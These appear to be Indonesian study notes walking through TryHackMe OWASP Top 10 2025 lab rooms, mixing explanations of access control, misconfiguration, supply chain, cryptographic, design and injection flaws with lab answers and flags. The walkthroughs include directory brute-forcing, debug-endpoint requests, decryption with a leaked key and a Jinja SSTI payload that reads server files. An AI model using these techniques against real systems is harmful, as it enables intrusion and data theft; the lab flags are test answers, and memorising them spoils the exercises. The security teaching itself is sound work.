OWASP Top 10 2025: IAAA Failures

What is IAAA?

IAAA (Identity, Authentication, Authorization, Accountability)

IAAA itu alur wajib buat ngecek user & aksinya di aplikasi. Urutannya nggak bisa dilompati — kalau satu gagal, yang setelahnya otomatis nggak valid.

1. Identity Siapa kamu? Contoh: user ID, email, service account.
2. Authentication Buktiin itu benar kamu. Contoh: password, OTP, passkey, biometrik.
3. Authorization Kamu boleh ngapain? Contoh: user biasa vs admin, read vs write.
4. Accountability Catat semua aksi. Contoh: siapa melakukan apa, kapan, dan dari mana (logging & alerting).

Kenapa ini penting?

Banyak OWASP Top 10:2025 itu akar masalahnya dari IAAA yang gagal:

• Auth lemah → akun diambil alih
• Authorization salah → privilege escalation
• Logging buruk → serangan nggak kelihatan

Akibatnya fatal: attacker bisa akses data user lain atau naik hak akses.

• What does IAAA stand for?

Identity, Authentication, Authorisation, Accountability

A01: Broken Access Control

Pengertian

Broken Access Control adalah kondisi ketika sistem gagal membatasi akses pengguna terhadap resource yang seharusnya tidak boleh mereka akses. Server terlalu percaya pada input dari klien (browser).

Ciri Umum

• Pengguna bisa mengakses data milik pengguna lain
• Pengguna bisa melakukan aksi di luar haknya
• Hak akses tidak diverifikasi di setiap request

Contoh Kasus Umum (IDOR)

IDOR (Insecure Direct Object Reference) terjadi ketika:

• Sistem menggunakan ID langsung (userID, accountID)
• ID tersebut bisa diubah
• Tidak ada validasi kepemilikan data di server

Jenis Eskalasi Hak Akses

• Horizontal Privilege Escalation Akses data user lain dengan level yang sama
• Vertical Privilege Escalation Akses fitur atau data level lebih tinggi (misalnya admin)

Penyebab Utama

• Validasi akses hanya di sisi klien
• Tidak ada pengecekan kepemilikan resource
• Desain API yang terlalu terbuka

Dampak Keamanan

• Kebocoran data sensitif
• Pelanggaran privasi
• Penyalahgunaan hak akses
• Pelanggaran compliance (GDPR, HIPAA, dsb)

• If you don't get access to more roles but can view the data of another users, what type of privilege escalation is this?

Horizontal

• What is the note you found when viewing the user's account who had more than $ 1 million?

THM{Found.the.Millionare!}

A07: Authentication Failures

Pengertian

Authentication Failures terjadi ketika aplikasi gagal memverifikasi identitas pengguna secara benar atau gagal mengikat identitas ke sesi yang tepat. Akibatnya, penyerang bisa masuk sebagai pengguna lain.

Masalah Umum pada Authentication

• Username Enumeration Sistem membedakan respons antara username valid dan tidak valid.
• Password Lemah / Mudah Ditebak Tidak ada pembatasan percobaan login (rate limit / lockout).
• Kesalahan Logika Login / Registrasi Validasi identitas tidak konsisten (contoh: huruf besar–kecil dianggap berbeda).
• Manajemen Sesi & Cookie Tidak Aman Session bisa diambil alih atau tertaut ke akun yang salah.

Contoh Kegagalan Umum

• Username dianggap case-sensitive saat register, tapi case-insensitive saat login
• Session tidak diikat kuat ke user identity
• Token autentikasi mudah dipalsukan atau ditebak

Dampak Keamanan

• Pengambilalihan akun (Account Takeover)
• Akses tidak sah ke akun sensitif (misalnya admin)
• Eskalasi hak akses
• Kebocoran data dan penyalahgunaan sistem

Penyebab Utama

• Validasi identitas yang tidak konsisten
• Desain autentikasi yang lemah
• Kurangnya proteksi terhadap brute force
• Implementasi session handling yang buruk

Pencegahan

• Samakan aturan validasi username (case handling konsisten)
• Terapkan rate limiting & account lockout
• Gunakan manajemen session yang aman
• Terapkan Multi-Factor Authentication (MFA)
• Pastikan autentikasi dan otorisasi dipisah dengan jelas

• What is the flag on the admin user's dashboard?

THM{Account.confusion.FTW!}

A09: Logging & Alerting Failures

A09: Logging & Alerting Failures

Pengertian

Logging & Alerting Failures terjadi ketika aplikasi tidak mencatat atau tidak memberikan peringatan atas aktivitas keamanan yang penting. Akibatnya, tim keamanan tidak bisa mendeteksi, menyelidiki, atau membuktikan serangan yang terjadi.

Peran Logging dalam Keamanan

Logging mendukung accountability, yaitu kemampuan untuk mengetahui:

• Siapa yang melakukan aksi
• Apa yang dilakukan
• Kapan kejadian terjadi
• Dari mana asalnya

Tanpa logging yang baik, investigasi insiden hampir mustahil dilakukan.

Contoh Kegagalan Logging & Alerting

• Tidak mencatat:
  • Percobaan login (berhasil/gagal)
  • Perubahan privilege atau role
• Log terlalu umum atau ambigu
• Tidak ada alert untuk:
  • Brute-force attack
  • Login mencurigakan
  • Aksi admin yang sensitif
• Retensi log terlalu singkat
• Log disimpan di lokasi yang bisa dihapus atau dimodifikasi penyerang

Dampak Keamanan

• Serangan tidak terdeteksi
• Sulit melakukan forensic analysis
• Tidak bisa membuktikan pelanggaran keamanan
• Penyerang bisa bertahan lama (persistence)
• Gagal memenuhi standar compliance

Penyebab Umum

• Logging dianggap tidak penting
• Konfigurasi logging minimal
• Tidak ada integrasi dengan sistem monitoring
• Alert tidak dikonfigurasi atau diabaikan

Prinsip Logging yang Baik

• Catat semua event keamanan penting
• Gunakan format log yang jelas dan konsisten
• Simpan log secara terpusat
• Lindungi log dari modifikasi
• Terapkan alert otomatis untuk aktivitas mencurigakan
• Simpan log sesuai kebutuhan investigasi dan compliance

Hubungan dengan IAAA

Logging & Alerting mendukung:

• Accountability → membuktikan tindakan user dan sistem
• Authorization & Authentication monitoring

• It looks like an attacker tried to perform a brute-force attack, what is the IP of the attacker?

203.0.113.45

• Looks like they were able to gain access to an account! What is the username associated with that account?

admin

• What action did the attacker try to do with the account? List the endpoint the accessed.

/supersecretadminstuff

OWASP Top 10 2025: Application Design Flaws

Introduction

Room ini membahas empat kategori dalam OWASP Top 10 2025 yang berkaitan dengan kegagalan pada arsitektur dan desain sistem, yaitu AS02 Security Misconfigurations, AS03 Software Supply Chain Failures, AS04 Cryptographic Failures, dan AS06 Insecure Design. Melalui room ini, peserta akan mempelajari konsep dasar dari masing-masing kategori tersebut serta menerapkan teori ke dalam praktik melalui tantangan-tantangan yang disediakan.

Keempat kategori tersebut memiliki akar permasalahan yang sama, yaitu fondasi keamanan yang lemah. Keamanan tidak dapat ditambahkan di tahap akhir pengembangan dan diharapkan langsung berjalan dengan baik. Sistem yang kuat harus dibangun sejak awal dengan kebutuhan keamanan yang jelas, asumsi ancaman yang realistis, konfigurasi yang terkontrol, dependensi yang tervalidasi, serta pemilihan mekanisme kriptografi yang tepat.

Setiap konfigurasi bawaan perlu diperlakukan dengan penuh kewaspadaan, setiap dependensi harus dianggap sebagai potensi risiko, dan desain sistem sebaiknya dibuat sesederhana mungkin agar mudah dianalisis dan dipahami. Dengan memastikan desain keamanan sudah benar sejak tahap awal, berbagai insiden keamanan yang sebenarnya dapat dicegah di masa depan dapat dihindari.

Perjalanan pembelajaran dilanjutkan pada Room 3 dalam modul ini, yaitu Application Design Flaws, yang akan membahas lebih dalam mengenai kesalahan desain pada aplikasi.

AS02: Security Misconfigurations

Apa Itu

Security Misconfiguration adalah kondisi ketika sistem, server, aplikasi, atau infrastruktur dideploy dengan konfigurasi yang tidak aman. Ini bukan bug di kode, melainkan kesalahan pada setup environment, pengaturan software, atau konfigurasi jaringan.

Kesalahan ini sering muncul karena:

• Menggunakan default settings
• Konfigurasi tidak lengkap
• Layanan yang seharusnya tertutup malah terbuka

Akibatnya, penyerang mendapatkan jalan masuk yang mudah ke sistem.

Mengapa Ini Berbahaya

Dampak Keamanan

Walaupun terlihat sepele, satu kesalahan konfigurasi bisa:

• Membocorkan data sensitif
• Memungkinkan privilege escalation
• Memberi foothold awal bagi attacker
• Mengkompromikan seluruh sistem

Di era modern:

• Aplikasi bergantung pada cloud
• Banyak API dan service pihak ketiga
• Stack semakin kompleks

Satu komponen salah konfigurasi → seluruh sistem bisa jatuh.

Contoh Kasus Nyata

Kebocoran Data Uber (2017)

Uber secara tidak sengaja:

• Membuka AWS S3 bucket ke publik
• Bucket berisi data sensitif driver & rider

Karena bucket publicly accessible, penyerang:

• Tidak perlu login
• Bisa langsung mengunduh data

Ini menunjukkan bahwa:

Kesalahan deployment lebih berbahaya daripada bug kode.

Pola Umum Security Misconfigurations

Kesalahan yang Sering Terjadi

• Default credential atau password lemah tidak diganti
• Service / endpoint yang tidak perlu tetap terbuka ke internet
• Cloud storage salah konfigurasi (AWS S3, Azure Blob, GCP Bucket)
• Permission terlalu longgar (tidak menerapkan least privilege)
• API tanpa authentication atau authorization
• Error message terlalu detail (stack trace, path, config)
• Software, framework, atau container tidak di-update
• Endpoint AI / ML terbuka tanpa kontrol akses
• Admin panel terekspos publik

Hubungan dengan Prinsip Keamanan

Pelanggaran Prinsip Dasar

Security Misconfiguration biasanya melanggar:

• Least Privilege
• Defense in Depth
• Confidentiality
• Secure by Default

Cara Pencegahan

Best Practices

• Kunci konfigurasi default dan hapus fitur yang tidak dipakai
• Terapkan autentikasi kuat dan least privilege
• Batasi exposure jaringan dan lakukan segmentation
• Update software, framework, container secara rutin
• Sembunyikan stack trace dan detail sistem dari error
• Audit konfigurasi cloud secara berkala
• Amankan endpoint AI dan automation
• Gunakan monitoring dan logging konfigurasi
• Integrasikan security check otomatis di CI/CD pipeline

challenge

Navigate to 10.48.140.102:5002. It appears that the developers left too many traces in their User Management APIs.

• http://10.48.140.102:5002/api/user/123

  {
    "email": "john@example.com",
    "id": "123",
    "name": "John Doe"
  }

• http://10.48.140.102:5002/api/user/a

  {
    "debug_info": {
        "flag": "THM{V3RB0S3_3RR0R_L34K}"
    },
    "error": "Invalid user ID format: a. Flag: THM{V3RB0S3_3RR0R_L34K}",
    "traceback": "Traceback (most recent call last):\n  File \"/app/app.py\", line 21, in get_user\n    raise ValueError(f\"Invalid user ID format: {user_id}. Flag: {FLAG}\")\nValueError: Invalid user ID format: a. Flag: THM{V3RB0S3_3RR0R_L34K}\n"
  }

• What's the flag?

THM{V3RB0S3_3RR0R_L34K}

AS03: Software Supply Chain Failures

Apa Itu

Software Supply Chain Failures terjadi ketika aplikasi bergantung pada komponen eksternal (library, dependency, service, update, AI model) yang bermasalah, usang, atau tidak diverifikasi dengan benar.

Masalah ini bukan berasal dari kode buatan sendiri, tetapi dari perangkat lunak dan tools pihak ketiga yang digunakan. Penyerang memanfaatkan rantai ini untuk:

• Menyisipkan kode berbahaya
• Melewati kontrol keamanan
• Mencuri atau memanipulasi data

Mengapa Ini Sangat Berbahaya

Dampak Keamanan

Aplikasi modern hampir tidak pernah berdiri sendiri. Mereka tersusun dari:

• Library open-source
• API eksternal
• Cloud services
• AI/ML models

Satu dependency yang terkompromi bisa:

• Memberi akses penuh ke sistem
• Menyerang ribuan target sekaligus
• Menghindari deteksi karena berasal dari sumber “tepercaya”

Supply chain attack sering:

• Terotomatisasi
• Berskala besar
• Sulit dideteksi
• Dampaknya sangat luas

Contoh Kasus Nyata

SolarWinds Orion (2021)

• Penyerang menyisipkan kode berbahaya ke update resmi
• Ribuan organisasi menginstal update tersebut secara otomatis
• Tidak ada bug di logic utama SolarWinds

Masalah utamanya adalah:

• Proses build
• Verifikasi update
• Distribusi software

Ini membuktikan bahwa:

Kepercayaan pada update bisa menjadi titik serangan paling berbahaya.

Supply Chain Failures di Era AI

Risiko Tambahan

Dalam konteks AI:

• Model pihak ketiga tidak diverifikasi
• Dataset fine-tuned mengandung backdoor
• Output bias atau berbahaya tersembunyi

Dampaknya bisa berupa:

• Kebocoran data
• Perilaku tersembunyi
• Manipulasi hasil keputusan sistem

Pola Umum Software Supply Chain Failures

Kesalahan yang Sering Terjadi

• Menggunakan library tidak terawat atau tidak diverifikasi
• Auto-update tanpa validasi integritas
• Terlalu bergantung pada AI model pihak ketiga
• CI/CD pipeline tidak aman dan bisa dimodifikasi
• Tidak melacak lisensi dan asal komponen
• Tidak memantau vulnerability dependency setelah deployment

Hubungan dengan Prinsip Keamanan

Prinsip yang Dilanggar

Supply chain failures sering melanggar:

• Trust but Verify
• Zero Trust
• Integrity
• Secure SDLC
• Least Privilege

Cara Melindungi Software Supply Chain

Best Practices

• Verifikasi semua library, dependency, dan AI model
• Patch dan update dependency secara rutin
• Gunakan signing & verification untuk package dan update
• Amankan CI/CD pipeline dari tampering
• Lacak provenance dan lisensi dependency
• Pantau perilaku runtime dependency dan AI
• Terapkan supply chain threat modeling di SDLC
• Audit proses build, update, dan distribusi

Inti Penting (Ringkasan)

Takeaways

• Supply chain ≠ kode sendiri
• Kepercayaan buta = risiko besar
• Serangan bisa masuk lewat update resmi
• AI memperluas permukaan serangan
• Kontrol dependency sama pentingnya dengan kontrol kode

challenge

Navigate to 10.48.140.102:5003. The code is outdated and imports an old lib/vulnerable_utils.py component. Can you debug it?

from flask import Flask, render_template, request, jsonify
import sys
import os

# Import from local unverified library
sys.path.insert(0, os.path.join(os.path.dirname(__file__), 'lib'))
from vulnerable_utils import process_data, format_output, debug_info

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/api/process', methods=['POST'])
def process():
    """Process user input using third-party library"""
    try:
        data = request.json.get('data', '')
        if not data:
            return jsonify({'error': 'Missing data parameter'}), 400

        # Check for debug mode
        if data == 'debug':
            return jsonify(debug_info())

        processed = process_data(data)
        formatted = format_output(processed)

        return jsonify({
            'result': formatted,
            'status': 'success'
        })
    except Exception as e:
        return jsonify({'error': str(e)}), 500

@app.route('/api/health')
def health():
    """Health check endpoint"""
    return jsonify({
        'status': 'healthy',
        'version': '1.0.0'
    })

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

dari sini kita tahu bahwa ada endpoint debug di /api/process yang mengembalikan debug_info() ketika data adalah 'debug'.

curl http://10.48.140.102:5003/api/process -X POST -H "Content-Type: application/json" -d '{"data":"test"}'
# {
#   "result": "Output: TEST",
#   "status": "success"
# }

curl http://10.48.140.102:5003/api/process -X POST -H "Content-Type: application/json" -d '{"data":"debug"}'
# {
#   "admin_token": "admin_token_12345",
#   "flag": "THM{SUPPLY_CH41N_VULN3R4B1L1TY}",
#   "internal_secret": "internal_secret_key_2024",
#   "version": "1.2.3"
# }

• What's the flag?
  • Check /api/process

THM{SUPPLY_CH41N_VULN3R4B1L1TY}

AS04: Cryptographic Failures

Apa Itu

Cryptographic Failures adalah kegagalan keamanan yang terjadi ketika kriptografi digunakan secara salah atau tidak digunakan sama sekali. Masalah ini mencakup:

• Algoritma enkripsi yang lemah
• Kunci (key) yang ditanam langsung di kode
• Manajemen kunci yang buruk
• Data sensitif yang tidak dienkripsi

Akibatnya, data yang seharusnya rahasia dan terlindungi bisa diakses oleh pihak tidak berwenang.

Mengapa Ini Sangat Penting

Dampak Keamanan

Aplikasi web modern sangat bergantung pada kriptografi untuk:

• Melindungi lalu lintas jaringan
• Mengamankan data yang disimpan
• Memverifikasi identitas
• Menjaga kerahasiaan secret (password, token, API key)

Jika kriptografi gagal:

• Password bisa dicuri
• Token sesi bisa dibajak
• Data pribadi bocor
• Terjadi account takeover
• Bisa berujung pada kebocoran data besar

Cara Penyerang Mengeksploitasi

Teknik Umum

Penyerang dapat memanfaatkan cryptographic failures melalui:

• Man-in-the-Middle (MitM) pada koneksi tidak terenkripsi
• Brute-force pada key yang lemah
• Menemukan secret yang disimpan polos (plaintext)
• Mengeksploitasi sertifikat TLS yang tidak valid

Pola Umum Cryptographic Failures

Kesalahan yang Sering Terjadi

• Menggunakan algoritma lemah atau usang:
  • MD5
  • SHA-1
  • ECB mode
• Menyimpan secret langsung di source code atau config
• Tidak melakukan rotasi key secara berkala
• Data sensitif tidak dienkripsi (at rest atau in transit)
• Menggunakan TLS self-signed atau sertifikat tidak valid
• Sistem AI/ML menyimpan parameter sensitif tanpa proteksi

Hubungan dengan Prinsip Keamanan

Prinsip yang Dilanggar

Cryptographic Failures biasanya melanggar:

• Confidentiality
• Integrity
• Trust but Verify
• Secure by Design

Cara Pencegahan

Best Practices

• Gunakan algoritma modern dan kuat:
  • AES-GCM
  • ChaCha20-Poly1305
  • TLS 1.3 dengan sertifikat valid
• Gunakan layanan manajemen kunci:
  • AWS KMS
  • Azure Key Vault
  • HashiCorp Vault
• Lakukan rotasi key dan secret secara rutin
• Dokumentasikan kebijakan siklus hidup kriptografi
• Buat inventaris key, sertifikat, dan penanggung jawabnya
• Pastikan sistem AI/ML tidak mengekspos secret atau data sensitif tanpa enkripsi

Inti Penting (Ringkasan)

Takeaways

• Enkripsi yang salah = tidak ada enkripsi
• Algoritma lemah sama bahayanya dengan plaintext
• Key management adalah kunci utama keamanan
• Cryptography gagal → confidentiality runtuh
• AI juga tunduk pada aturan kriptografi

Challenge

Navigate to 10.48.140.102:5004. Can you find the key to decrypt the file?

Encrypted Document:
Nzd42HZGgUIUlpILZRv0jeIXp1WtCErwR+j/w/lnKbmug31opX0BWy+pwK92rkhjwdf94mgHfLtF26X6B3pe2fhHXzIGnnvVruH7683KwvzZ6+QKybFWaedAEtknYkhe

// Document encryption utilities
// Last updated: 2024-03-15

(function() {
    'use strict';

    // Configuration
    const SECRET_KEY = "my-secret-key-16";
    const ENCRYPTION_MODE = "ECB";
    const KEY_SIZE = 128;

    // Utility functions
    function formatTimestamp(date) {
        return date.toISOString().replace('T', ' ').substring(0, 19);
    }

    function validateDocumentId(id) {
        return /^[a-zA-Z0-9-_]+$/.test(id);
    }

    function getDocumentMetadata() {
        return {
            version: "1.2.3",
            encryptionEnabled: false,
            lastModified: formatTimestamp(new Date())
        };
    }

    // Logging utility
    function logEvent(eventType, details) {
        if (typeof console !== 'undefined' && console.log) {
            console.log(`[${formatTimestamp(new Date())}] ${eventType}:`, details);
        }
    }

    // Document validation
    function isValidDocumentFormat(data) {
        try {
            const decoded = atob(data);
            return decoded.length > 0 && decoded.length % 16 === 0;
        } catch (e) {
            return false;
        }
    }

    // Export to global scope if needed
    if (typeof window !== 'undefined') {
        window.documentUtils = {
            getMetadata: getDocumentMetadata,
            validateFormat: isValidDocumentFormat,
            validateId: validateDocumentId
        };
    }

    logEvent('INIT', 'Document utilities loaded');
})();

karena di webnya ada file untuk decyrptnya maka kita bisa pake itu untuk decrypt filenya, tapi karena di confignya tertulis encryptionEnabled: false, maka kita bisa asumsikan filenya di encrypt dengan ECB mode yang lemah. Dengan SECRET_KEY = "my-secret-key-16" kita bisa decrypt filenya menggunakan tool online atau script python.

from Crypto.Cipher import AES
import base64
def decrypt_ecb(encrypted_data, key):
    cipher = AES.new(key.encode('utf-8'), AES.MODE_ECB)
    decrypted = cipher.decrypt(base64.b64decode(encrypted_data))
    return decrypted.strip().decode('utf-8')

encrypted_data = "Nzd42HZGgUIUlpILZRv0jeIXp1WtCErwR+j/w/lnKbmug31opX0BWy+pwK92rkhjwdf94mgHfLtF26X6B3pe2fhHXzIGnnvVruH7683KwvzZ6+QKybFWaedAEtknYkhe"
key = "my-secret-key-16"
decrypted_message = decrypt_ecb(encrypted_data, key)
print("Decrypted Message:", decrypted_message)

Decrypted Message: CONFIDENTIAL: The admin password is 'admin123'. Flag: THM{CRYPTO_FAILURE_H4RDCOD3D_K3Y}

• What's the flag?

THM{CRYPTO_FAILURE_H4RDCOD3D_K3Y}

AS06: Insecure Design

Ringkasan

Insecure Design adalah kelemahan yang muncul bukan karena bug teknis, tapi karena logika dan arsitektur sistemnya sudah salah dari awal. Masalah ini tidak bisa diselesaikan hanya dengan patch, karena cacatnya ada di cara sistem dirancang dan diasumsikan akan digunakan.

Di era AI, insecure design makin parah karena:

• Blind trust ke output AI
• Asumsi model selalu “benar & aman”
• Tidak ada guardrail atau validasi keputusan AI

Kenapa Berbahaya

• Tidak bisa “ditambal” → harus redesign
• Penyerang bisa menyalahgunakan flow yang secara teknis valid
• Sering lolos code review karena “tidak kelihatan salah”

Contoh Nyata

Kasus Clubhouse API:

• Backend diasumsikan hanya diakses via mobile app
• Tidak ada auth di API
• Siapa pun bisa akses data user & room lewat HTTP request biasa

➡️ Asumsinya salah → desainnya insecure

Pola Umum Insecure Design (2025)

• Asumsi user / device “pasti legit”
• API backend tanpa validasi konteks
• AI agent diberi akses terlalu luas
• Prompt AI digabung langsung dengan input user
• Endpoint debug/test masih aktif di production
• Tidak ada abuse-case & threat modelling

AI-Specific Insecure Design

• Prompt Injection (user input nyatu sama system prompt)
• AI output langsung dieksekusi tanpa validasi
• Model dari sumber tidak jelas (poisoned model)
• AI dikasih authority (approve, delete, execute) tanpa human-in-the-loop

Challenge Analysis

Target: http://10.48.140.102:5005

Pertanyaan:

Have they assumed that only mobile devices can access it?

Asumsi yang Salah (Red Flag 🚩)

• Backend hanya ngecek User-Agent
• Tidak ada auth/token
• Logic berbasis “kalau mobile = trusted”
• Endpoint API bisa diakses langsung via browser / curl

Langkah Analisis (High-Level)

1. Akses dari browser biasa
   • Kalau bisa kebuka → asumsi device = FAIL
2. Cek response behaviour
   • Ada perbedaan response saat ubah User-Agent?
3. Spoof User-Agent

   curl -H "User-Agent: Android" http://10.48.140.102:5005

4. Cari API endpoint
   • /api
   • /mobile
   • /debug
   • /internal
5. Cek logic
   • Apakah hanya frontend yang “mobile-only”?
   • Backend tetap nerima request dari mana saja?

Root Cause

❌ Sistem percaya konteks (mobile app) ❌ Tidak enforce authentication & authorization ❌ Tidak ada trust boundary yang jelas

➡️ Pure Insecure Design

Challenge

Navigate to 10.48.140.102:5005. Have they assumed that only mobile devices can access it?

• http://10.48.140.102:5005

karena di page source tidak ada script javascript yang

gobuster dir -u http://10.48.140.102:5005 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# /console              (Status: 400) [Size: 167]

gobuster dir -u http://10.48.140.102:5005/api -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# /users                (Status: 200) [Size: 276]

curl http://10.48.140.102:5005/api/users
# {
#   "admin": {
#     "email": "admin@example.com",
#     "name": "Admin",
#     "role": "admin"
#   },
#   "user1": {
#     "email": "alice@example.com",
#     "name": "Alice",
#     "role": "user"
#   },
#   "user2": {
#     "email": "bob@example.com",
#     "name": "Bob",
#     "role": "user"
#   }
# }

curl http://10.48.140.102:5005/api/users/admin
# {
#   "email": "admin@example.com",
#   "name": "Admin",
#   "role": "admin"
# }

karena saya stuck saya liat workthroughnya dan ternyata karena ini merupakan aplikasi private message maka kita bisa coba akses '/api/messages/admin' karena jika hanya mengakses '/api/messages' itu akann menampilkan not found.

curl http://10.48.140.102:5005/api/messages/
curl http://10.48.140.102:5005/api/messages/admin
# {
#   "messages": [
#     {
#       "content": "Admin panel access key: THM{1NS3CUR3_D35IGN_4SSUMPT10N}",
#       "from": "system"
#     }
#   ],
#   "user": "admin"
# }

# curl http://10.48.140.102:5005/api/messages/Alice
# curl http://10.48.140.102:5005/api/messages/Bob

• What's the flag?

THM{1NS3CUR3_D35IGN_4SSUMPT10N}

OWASP Top 10 2025: Insecure Data Handling

A04: Cryptographic Failures

Cryptographic Failures adalah kelemahan keamanan yang terjadi ketika data sensitif tidak dilindungi dengan kriptografi yang tepat, baik karena tidak dienkripsi, implementasi salah, atau algoritma yang lemah. Masalah ini masih sering muncul dan termasuk dalam OWASP Top 10.

Apa itu Cryptographic Failures

Cryptographic failures terjadi ketika mekanisme kriptografi gagal melindungi data sensitif. Beberapa contoh umum:

• Password disimpan tanpa hashing
• Menggunakan algoritma lama/lemah seperti MD5, SHA1, DES
• Kunci enkripsi terekspos atau disimpan sembarangan
• Data dikirim tanpa proteksi (tidak aman saat transmisi)

Contoh Kasus Umum

Salah satu kesalahan fatal adalah aplikasi yang membuat algoritma kriptografinya sendiri (rolling their own cryptography), alih-alih menggunakan algoritma standar yang sudah teruji dan aman.

Cara Mencegah Cryptographic Failures

Pencegahan dimulai dari pemilihan algoritma yang kuat dan implementasi yang benar.

Praktik yang Dianjurkan

• Gunakan hashing yang kuat dan lambat untuk password:
  • bcrypt, scrypt, atau Argon2
• Jangan membuat algoritma enkripsi sendiri
• Gunakan library kriptografi standar dan terpercaya

Manajemen Kredensial

• Jangan menyimpan kredensial (API key, password, token) di:
  • Source code
  • File konfigurasi
  • Repository
• Gunakan:
  • Secure key management system
  • Environment variables khusus untuk secrets

Praktikal (Latihan)

Sebuah web app tersedia di:

http://10.48.130.27:8001

Aplikasi ini adalah layanan berbagi catatan yang menggunakan kunci derivatif lemah dan bersifat shared untuk melindungi catatan.

Tujuan

• Mengikuti langkah pada web aplikasi
• Membuka seluruh catatan
• Mendapatkan flag

Rekomendasi Materi Tambahan

Untuk pendalaman lebih lanjut terkait serangan dan mitigasi cryptographic failures, sangat disarankan mempelajari:

• Cryptographic Failures Module di TryHackMe

praktek

Crypto Lab: Weak XOR Cipher

Homegrown encryption with a short key is easily broken.

All three encrypted notes below use the same weak XOR cipher with a 4-character key. Since XOR encryption is reversible and the key is short, you can brute-force it. Enter the correct key once to decrypt all notes at once!
Encrypted Notes

All three notes are encrypted using the same weak XOR cipher with a short key.
Meeting Reminder #1

Encrypted (base64)

BiA8RSIrPhE4JjFULzA1VC9lP145ZS1eJiorQyQyeVA/ZWoRGwh3EQgqN1cuNzxfKCB5QyQqNBEJaw==
Password Reset #2

Encrypted (base64)

GyQqQjwqK1VrNzxCLjF5XSIrMgtrLS1FOzZjHmQsN0UuNzdQJ2stWSZqK1Q4IC0OPyoyVCV4OFModGsC
Confidential #3

Encrypted (base64)

GAAaYw4RYxEfDRRKHAAYehQGC2gbERZuDQkYdjZldBEPKnlfJDF5QiMkK1RrMTFYOGUuWD8teUQlJCxFIyorWDEgPRE7ICtCJCs3VCdr
Try a Key

Enter the 4-character key to decrypt all notes at once. The key contains both letters and numbers.

Hint: The first 3 characters of the key are:

KEY_

You just need to figure out the 4th character!
Why XOR Cipher is Weak

    Short keys can be brute-forced quickly (only 4 characters).
    Repeating key pattern makes frequency analysis possible.
    No authentication - you can't verify if decryption succeeded without context.
    Homegrown crypto lacks the security guarantees of proven algorithms.

Key Information:

    The key is exactly 4 characters long
    It contains both letters and numbers
    First 3 characters are shown as a hint above
    One key decrypts all three notes simultaneously

Fix: Use industry-standard encryption (AES-256-GCM) with proper key management. Never roll your own crypto!

KEY: KEY3

BiA8RSIrPhE4JjFULzA1VC9lP145ZS1eJiorQyQyeVA/ZWoRGwh3EQgqN1cuNzxfKCB5QyQqNBEJaw==

Meeting scheduled for tomorrow at 3 PM. Conference room B.

KEY: KEY2

GyQqQjwqK1VrNzxCLjF5XSIrMgtrLS1FOzZjHmQsN0UuNzdQJ2stWSZqK1Q4IC0OPyoyVCV4OFModGsC

Paspworg repet oink9 htwps:,/inwernbl.tkm/rfset<tokfn=aac120

KEY: KEY1

GAAaYw4RYxEfDRRKHAAYehQGC2gbERZuDQkYdjZldBEPKnlfJDF5QiMkK1RrMTFYOGUuWD8teUQlJCxFIyorWDEgPRE7ICtCJCs3VCdr

SECRET: THM{WEAK_CRYPTO_FLAG} - Do not share this with unauthorized personnel.

• Decrypt the encrypted notes. One of them will contain a flag value. What is it?
  • The first three characters of the key are given to you on the web application. Make a guess as to what the 4th character can be (digit) to unlock all of the encrypted notes.

THM{WEAK_CRYPTO_FLAG}

A05: Injection

Injection adalah salah satu kerentanan klasik dan berbahaya dalam keamanan web, serta sudah lama masuk daftar OWASP Top 10. Hingga tahun 2025, injection masih relevan dan termasuk high severity vulnerability.

Apa itu Injection

Injection terjadi ketika aplikasi menerima input dari pengguna namun tidak memprosesnya dengan aman. Input tersebut langsung diteruskan ke sistem lain yang bisa mengeksekusi perintah atau query.

Sistem yang sering terdampak:

• Database
• System shell (OS)
• Template engine
• API

Alih-alih divalidasi atau difilter, input user justru dipakai langsung sebagai bagian dari perintah atau query.

Contoh Injection yang Umum

Salah satu contoh paling terkenal adalah SQL Injection, di mana attacker menyisipkan query SQL ke dalam input aplikasi (misalnya form login).

Ilustrasi Singkat

Aplikasi:

• Mengambil input username
• Langsung menyusunnya ke query SQL
• Tidak melakukan sanitasi atau parameterisasi

Akibatnya, attacker bisa memodifikasi query database.

Jenis Injection yang Umum

• SQL Injection
• Command Injection
• AI Prompt Injection
• Server Side Template Injection (SSTI)

Dampak Injection

Injection dapat menyebabkan:

• Bypass autentikasi
• Akses data sensitif
• Eksekusi perintah sistem
• Pengambilalihan server

Karena dampaknya besar, injection selalu dianggap kerentanan kritis.

Cara Mencegah Injection

Pencegahan injection dimulai dari prinsip dasar: Semua input user harus dianggap tidak terpercaya.

Pencegahan pada Database

• Gunakan prepared statements
• Gunakan parameterised queries
• Hindari membuat query dengan string concatenation

Pencegahan pada OS Command

• Hindari fungsi yang meneruskan input langsung ke shell
• Gunakan API aman yang tidak memanggil shell

Validasi & Sanitasi Input

• Escape karakter berbahaya
• Terapkan tipe data yang ketat
• Filter input sebelum diproses aplikasi

Praktikal (Latihan)

Praktikal hari ini menampilkan Server Side Template Injection (SSTI) dan juga konsep command injection.

Aplikasi dapat diakses di:

http://10.48.130.27:8000

Tujuan

• Menyalahgunakan fitur render konten dinamis
• Mengakses file pada server
• Mendapatkan flag dari mesin target

Rekomendasi Materi Tambahan

Untuk pendalaman lebih lanjut, direkomendasikan mempelajari:

• Injection Attacks Module
• Command Injection

praktek

Toggle solution

    Prove code execution. Submit {{ 7 * 7 }} to confirm expressions are evaluated.
    Enumerate context. Use {{ config.items() }} or {{ request.__dict__ }} to discover objects exposed to the template.
    Read the flag. Jinja exposes Flask globals, so run {{ request.application.__globals__.__builtins__.open('flag.txt').read() }} to cat the file on the server.

Why it works

request.application leads to Flask internals, letting you reach the raw __builtins__ namespace and call open().

• Perform an SSTI attack on the practical. You need to read the contents of flag.txt that is located within the same directory as the web application.

THM{SSTI_FLAG_OBTAINED}

A08: Software or Data Integrity Failures

Software atau Data Integrity Failures merupakan kerentanan yang berulang kali muncul di daftar OWASP Top 10, bahkan muncul dua kali dalam dua rilis terakhir. Kerentanan ini berkaitan dengan kepercayaan berlebihan terhadap kode, update, atau data tanpa proses verifikasi yang memadai.

Apa itu Software atau Data Integrity Failures

Kerentanan ini terjadi ketika aplikasi menganggap kode atau data aman secara default, tanpa memverifikasi:

• Keaslian (authenticity)
• Integritas (integrity)
• Asal sumber (origin)

